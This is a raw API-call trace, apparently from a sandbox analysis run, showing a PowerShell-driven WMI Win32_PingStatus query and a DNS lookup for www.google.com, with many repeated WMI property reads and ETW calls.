wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244392c*=0, plFlavor=0x2443930*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x244392c*=8, plFlavor=0x2443930*=64) returned 0x0 [0138.607] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.607] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.607] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee590 | out: puCount=0x59ee590*=0x2) returned 0x0 [0138.607] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee58c*=0xf, pszText=0x0) returned 0x0 [0138.607] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.607] IWbemClassObject:Get (in: This=0x507f00, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443b64*=0, plFlavor=0x2443b68*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2443b64*=8, plFlavor=0x2443b68*=0) returned 0x0 [0138.607] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.607] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.608] IWbemClassObject:Get (in: This=0x507f00, wszName="address", lFlags=0, pVal=0x59ee5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443b64*=8, plFlavor=0x2443b68*=0 | out: pVal=0x59ee5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2443b64*=8, plFlavor=0x2443b68*=0) returned 0x0 [0138.608] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.608] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.608] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee5d8 | out: ppResult=0x59ee5d8*=0x4f59380*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b770*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0138.661] FreeAddrInfoW (pAddrInfo=0x4f59380*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b770*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0138.661] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.662] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.662] EtwEventActivityIdControl () returned 0x0 [0138.662] EtwEventActivityIdControl () returned 0x0 [0138.662] EtwEventActivityIdControl () returned 0x0 [0138.663] EtwEventActivityIdControl () returned 0x0 [0138.663] EtwEventActivityIdControl () returned 0x0 [0138.663] EtwEventActivityIdControl () returned 0x0 [0138.665] EtwEventWriteTransfer () returned 0x0 [0138.667] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4d4 [0138.667] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.667] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.667] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.667] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244ee04*=0, plFlavor=0x244ee08*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x244ee04*=8, plFlavor=0x244ee08*=64) returned 0x0 [0138.668] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.668] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.668] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244ee04*=8, plFlavor=0x244ee08*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x244ee04*=8, plFlavor=0x244ee08*=64) returned 0x0 [0138.668] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.668] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.668] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.668] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.668] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244eea0*=0, plFlavor=0x244eea4*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x244eea0*=8, plFlavor=0x244eea4*=64) returned 0x0 [0138.668] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.668] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.668] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244eea0*=8, plFlavor=0x244eea4*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x244eea0*=8, plFlavor=0x244eea4*=64) returned 0x0 [0138.668] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.668] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.668] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.668] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.668] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244effc*=0, plFlavor=0x244f000*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x244effc*=8200, plFlavor=0x244f000*=64) returned 0x0 [0138.669] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244effc*=8200, plFlavor=0x244f000*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x244effc*=8200, plFlavor=0x244f000*=64) returned 0x0 [0138.669] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.669] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.669] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.669] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244f264*=0, plFlavor=0x244f268*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x244f264*=8, plFlavor=0x244f268*=64) returned 0x0 [0138.669] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.669] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.669] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244f264*=8, plFlavor=0x244f268*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x244f264*=8, plFlavor=0x244f268*=64) returned 0x0 [0138.669] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.669] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.669] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.669] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.669] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.669] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244f38c*=0, plFlavor=0x244f390*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x244f38c*=8200, plFlavor=0x244f390*=64) returned 0x0 [0138.670] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244f38c*=8200, plFlavor=0x244f390*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x244f38c*=8200, plFlavor=0x244f390*=64) returned 0x0 [0138.670] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0138.670] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0138.670] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.670] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0138.670] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0138.670] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.670] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee550 | out: pNames=0x59ee550*="\x01ƀ\x04") returned 0x0 [0138.670] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.670] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.670] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee3e8 | out: plLbound=0x59ee3e8) returned 0x0 [0138.671] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.671] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.671] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.671] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.671] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.671] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.671] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.671] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.671] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.671] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.671] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.671] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.671] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.671] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.671] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.671] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.671] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.671] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.671] SysStringByteLen (bstr="__PATH") returned 0xc [0138.671] SysStringByteLen (bstr="__PATH") returned 0xc [0138.671] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fbc8*=0, plFlavor=0x244fbcc*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x244fbc8*=3, plFlavor=0x244fbcc*=64) returned 0x0 [0138.672] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fbfc*=0, plFlavor=0x244fc00*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x244fbfc*=8, plFlavor=0x244fc00*=64) returned 0x0 [0138.672] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.672] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.672] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fc54*=0, plFlavor=0x244fc58*=0 | out: pVal=0x59ee54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fc54*=8, plFlavor=0x244fc58*=64) returned 0x0 [0138.672] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fc7c*=0, plFlavor=0x244fc80*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x244fc7c*=8, plFlavor=0x244fc80*=64) returned 0x0 [0138.672] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.672] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.672] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fcd4*=0, plFlavor=0x244fcd8*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x244fcd4*=8, plFlavor=0x244fcd8*=64) returned 0x0 [0138.672] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.672] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.672] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244feb0*=0, plFlavor=0x244feb4*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x244feb0*=3, plFlavor=0x244feb4*=64) returned 0x0 [0138.673] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244fee4*=0, plFlavor=0x244fee8*=0 | out: pVal=0x59ee54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x244fee4*=8200, plFlavor=0x244fee8*=64) returned 0x0 [0138.673] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244ff18*=0, plFlavor=0x244ff1c*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x244ff18*=8, plFlavor=0x244ff1c*=64) returned 0x0 [0138.673] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.673] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.673] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244ff64*=0, plFlavor=0x244ff68*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x244ff64*=8, plFlavor=0x244ff68*=64) returned 0x0 [0138.673] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.673] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.673] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244ffb0*=0, plFlavor=0x244ffb4*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x244ffb0*=8, plFlavor=0x244ffb4*=64) returned 0x0 [0138.673] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.673] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.673] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee590 | out: puCount=0x59ee590*=0x2) returned 0x0 [0138.673] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee58c*=0xf, pszText=0x0) returned 0x0 [0138.674] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.674] IWbemClassObject:Get (in: This=0x507f00, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24501e8*=0, plFlavor=0x24501ec*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24501e8*=8, plFlavor=0x24501ec*=0) returned 0x0 [0138.674] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.674] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.674] IWbemClassObject:Get (in: This=0x507f00, wszName="address", lFlags=0, pVal=0x59ee5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24501e8*=8, plFlavor=0x24501ec*=0 | out: pVal=0x59ee5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24501e8*=8, plFlavor=0x24501ec*=0) returned 0x0 [0138.674] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.674] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.674] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee5d8 | out: ppResult=0x59ee5d8*=0x4f596a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b758*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0138.676] FreeAddrInfoW (pAddrInfo=0x4f596a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b758*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0138.676] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.677] EtwEventActivityIdControl () returned 0x0 [0138.677] EtwEventActivityIdControl () returned 0x0 [0138.677] EtwEventActivityIdControl () returned 0x0 [0138.677] EtwEventActivityIdControl () returned 0x0 [0138.677] EtwEventActivityIdControl () returned 0x0 [0138.677] EtwEventActivityIdControl () returned 0x0 [0138.678] EtwEventActivityIdControl () returned 0x0 [0138.678] EtwEventActivityIdControl () returned 0x0 [0138.678] EtwEventActivityIdControl () returned 0x0 [0138.678] EtwEventActivityIdControl () returned 0x0 [0138.678] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.678] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.678] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.678] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.678] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.678] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 